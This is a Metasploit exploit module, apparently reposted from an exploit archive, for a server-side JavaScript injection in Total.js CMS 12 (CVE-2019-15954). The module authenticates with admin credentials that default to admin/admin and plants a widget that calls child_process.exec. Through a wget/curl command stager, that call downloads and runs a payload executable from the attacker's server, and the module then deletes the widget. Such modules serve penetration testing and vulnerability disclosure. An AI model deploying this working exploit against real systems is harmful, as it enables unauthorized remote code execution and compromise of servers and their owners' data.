Total.js CMS 12 Widget JavaScript Code Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Total.js CMS 12 Widget JavaScript Code Injection',
      'Description'    => %q{
        This module exploits a vulnerability in Total.js CMS. The issue is that a user with
        admin permission can embed a malicious JavaScript payload in a widget, which is
        evaluated server side, and gain remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Riccardo Krauter', # Original discovery
          'sinn3r'            # Metasploit module
        ],
      'Arch'           => [ARCH_X86, ARCH_X64],
      'Targets'        =>
        [
          [ 'Total.js CMS on Linux', { 'Platform' => 'linux', 'CmdStagerFlavor' => 'wget'} ],
          [ 'Total.js CMS on Mac',   { 'Platform' => 'osx', 'CmdStagerFlavor' => 'curl' } ]
        ],
      'References'     =>
        [
          ['CVE', '2019-15954'],
          ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/5'],
          ['URL', 'https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf']
        ],
      'DefaultOptions' =>
        {
          'RPORT' => 8000,
        },
      'Notes'          =>
        {
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'Privileged'     => false,
      'DisclosureDate' => '2019-08-30', # Reported to seclist
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path for Total.js CMS', '/']),
        OptString.new('TOTALJSUSERNAME', [true, 'The username for Total.js admin', 'admin']),
        OptString.new('TOTALJSPASSWORD', [true, 'The password for Total.js admin', 'admin'])
      ])
  end

  class AdminToken
    attr_reader :token

    def initialize(cookie)
      @token = cookie.scan(/__admin=([a-zA-Z\d]+);/).flatten.first
    end

    def blank?
      token.blank?
    end
  end

  class Widget
    attr_reader :name
    attr_reader :category
    attr_reader :source_code
    attr_reader :platform
    attr_reader :url

    def initialize(p, u, stager)
      @name = "p_#{Rex::Text.rand_text_alpha(10)}"
      @category = 'content'
      @platform = p
      @url = u
      @source_code  = %Q|<script total>|
      @source_code << %Q|global.process.mainModule.require('child_process')|
      @source_code << %Q|.exec("sleep 2;#{stager}");|
      @source_code << %Q|</script>|
    end
  end

  def check
    code = CheckCode::Safe

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'widgets')
    })

    unless res
      vprint_error('Connection timed out')
      return CheckCode::Unknown
    end

    # If the admin's login page is visited too many times, we will start getting
    # a 401 (unauthorized response). In that case, we only have a header to work
    # with.
    if res.headers['X-Powered-By'].to_s == 'Total.js'
      code = CheckCode::Detected
    end

    # If we are here, then that means we can still see the login page.
    # Let's see if we can extract a version.
    html = res.get_html_document
    element = html.at('title')
    return code unless element.respond_to?(:text)
    title = element.text.scan(/CMS v([\d\.]+)/).flatten.first
    return code unless title
    version = Gem::Version.new(title)

    if version <= Gem::Version.new('12')
      # If we are able to check the version, we could try the default cred and attempt
      # to execute malicious code and see how the application responds. However, this
      # seems to a bit too aggressive so I'll leave that to the exploit part.
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def auth(user, pass)
    json_body = { 'name' => user, 'password' => pass }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),
      'ctype'  => 'application/json',
      'data'   => json_body
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    json_res = res.get_json_document
    cookies = res.get_cookies
    # If it's an array it could be an error, so we are specifically looking for a hash.
    if json_res.kind_of?(Hash) && json_res['success']
      token = AdminToken.new(cookies)
      @admin_token = token
      return token
    end
    fail_with(Failure::NoAccess, 'Invalid username or password')
  end

  def create_widget(admin_token)
    platform = target.platform.names.first
    host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
    port = datastore['SRVPORT']
    proto = datastore['SSL'] ? 'https' : 'http'
    payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
    url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
    widget = Widget.new(platform, url, generate_cmdstager(
        'Path' => "#{get_resource}/#{payload_name}",
        'temp' => '/tmp',
        'file' => payload_name
      ).join(';'))

    json_body = {
      'name'     => widget.name,
      'category' => widget.category,
      'body'     => widget.source_code
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
      'cookie' => "__admin=#{admin_token.token}",
      'ctype'  => 'application/json',
      'data'   => json_body
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    res_json = res.get_json_document
    if res_json.kind_of?(Hash) && res_json['success']
      print_good("Widget created successfully")
    else
      fail_with(Failure::Unknown, 'No success message in body')
    end

    widget
  end

  def get_widget_item(admin_token, widget)
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
      'cookie' => "__admin=#{admin_token.token}",
      'ctype'  => 'application/json'
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    res_json = res.get_json_document
    count = res_json['count']
    items = res_json['items']

    unless count
      fail_with(Failure::Unknown, 'No count key found in body')
    end

    unless items
      fail_with(Failure::Unknown, 'No items key found in body')
    end

    items.each do |item|
      widget_name = item['name']
      if widget_name.match(/p_/)
        return item
      end
    end

    []
  end

  def clear_widget
    admin_token = get_admin_token
    widget = get_widget

    print_status('Finding the payload from the widget list...')
    item = get_widget_item(admin_token, widget)

    json_body = {
      'id'          => item['id'],
      'picture'     => item['picture'],
      'name'        => item['name'],
      'icon'        => item['icon'],
      'category'    => item['category'],
      'datecreated' => item['datecreated'],
      'reference'   => item['reference']
    }.to_json

    res = send_request_cgi({
      'method' => 'DELETE',
      'uri'    => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
      'cookie' => "__admin=#{admin_token.token}",
      'ctype'  => 'application/json',
      'data'   => json_body
    })

    unless res
      fail_with(Failure::Unknown, 'Connection timed out')
    end

    res_json = res.get_json_document
    if res_json.kind_of?(Hash) && res_json['success']
      print_good("Widget cleared successfully")
    else
      fail_with(Failure::Unknown, 'No success message in body')
    end
  end

  def on_request_uri(cli, req)
    print_status("#{cli.peerhost} requesting: #{req.uri}")

    if req.uri =~ /p_.+/
      payload_exe = generate_payload_exe(code: payload.encoded)
      print_status("Sending payload to #{cli.peerhost}")
      send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})
      return
    end

    send_not_found(cli)
  end

  def on_new_session(session)
    clear_widget
  end

  # This is kind of for cleaning up the wiget, because we cannot pass it as an
  # argument in on_new_session.
  def get_widget
    @widget
  end

  # This is also kind of for cleaning up widget, because we cannot pass it as an
  # argument directly
  def get_admin_token
    @admin_token
  end

  def exploit
    user = datastore['TOTALJSUSERNAME']
    pass = datastore['TOTALJSPASSWORD']
    print_status("Attempting to authenticate with #{user}:#{pass}")
    admin_token = auth(user, pass)
    fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
    print_good("Authenticatd as: #{user}:#{pass}")
    print_status("Creating a widget...")
    @widget = create_widget(admin_token)
    super
  end

end

Copyright ©2024 Exploitalert.